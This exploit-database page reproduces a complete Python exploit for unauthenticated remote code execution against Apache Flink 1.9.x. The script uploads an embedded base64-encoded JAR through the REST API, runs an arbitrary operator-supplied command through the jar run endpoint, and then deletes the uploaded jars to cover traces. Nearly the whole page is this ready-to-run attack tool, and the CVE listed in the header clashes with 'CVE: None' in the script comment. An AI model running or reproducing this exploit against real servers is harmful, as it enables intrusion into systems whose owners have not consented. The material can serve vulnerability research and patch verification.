Advertisement






Apache Flink 1.9.x Shell Upload

CVE Category Price Severity
CVE-2020-17519 CWE-434 Not specified High
Author Risk Exploitation Type Date
Unknown High Remote 2020-11-02
CPE
cpe:cpe:/a:apache:flink:1.9.0
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.0408939 0.754321

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020110008

Below is a copy:

Apache Flink 1.9.x Shell Upload
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
# Google Dork: None
# Date: 2020.11.01
# Exploit Author: bigger.wing
# Vendor Homepage: https://flink.apache.org/
# Software Link: https://flink.apache.org/downloads.html
# Version: 1.9.x
# Tested on: Centos7.x, 1.9.1
# CVE: None

import io
import re
import sys
import base64
import requests


class FlinkRCECheck:

    def __init__(self, url):
        self.url = url
        self.timeout = 10
        self.upload_file = 'rce_check_from_sec.jar'
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/61.0 Safari/537.36'
        }

    @property
    def get_version(self):
        url = '%s/%s' % (self.url, 'config')
        try:
            res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
            version = res.json().get('flink-version')
        except:
            version = 'unknown'
        return version

    @property
    def jar_check(self):
        url = '%s/%s' % (self.url, 'jars')
        jar_list = []
        try:
            res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
            if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
                res = res.json()
                for file in res['files']:
                    if file['id'].endswith(self.upload_file):
                        jar_list.append(file['id'])
        except Exception as e:
            pass

        return jar_list

    @property
    def jar_upload(self):
        url = '%s/%s' % (self.url, 'jars/upload')
        jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'
                                       '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'
                                       'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'
                                       'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'
                                       'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'
                                       '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'
                                       'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'
                                       'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'
                                       'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'
                                       'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'
                                       'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'
                                       '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'
                                       'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'
                                       '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'
                                       'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'
                                       'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'
                                       's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'
                                       'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'
                                       'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'
                                       'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'
                                       'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'
                                       'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'
                                       'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'
                                       'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'
                                       'AAAAAAMAAwC4AAAArgQAAAAA')
        files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

        try:
            res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
            file_id = res.json()['filename'].split('/')[-1]
            return file_id
        except Exception as e:
            res = False
        return res

    @property
    # delete history jar packages
    def jar_delete(self):
        for jar_name in self.jar_check:
            url = '%s//jars/%s' % (self.url, jar_name)
            try:
                requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
            except:
                pass
        return

    def rce(self, command):
        jar_file = self.jar_upload
        try:
            execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
            res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
            res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
            if res:
                print('rce command "%s" exec result: %s' % (command, res))
                state = 1
                msg = '%s rce success' % self.url
            else:
                state = 0
                msg = '%s rce failed' % self.url
        except:
            state = 0
            msg = '%s rce failed' % self.url

        delete = self.jar_delete

        return {'state': state, 'version': self.get_version, 'msg': msg}


if __name__ == '__main__':
    usage = 'python3 script.py ip port command'
    if len(sys.argv) != 4:
        print('simple usage: %s' % usage)
    else:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        url = 'http://%s:%s' % (ip, port)
        res = FlinkRCECheck(url=url).rce(command=command)
        print(res)

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum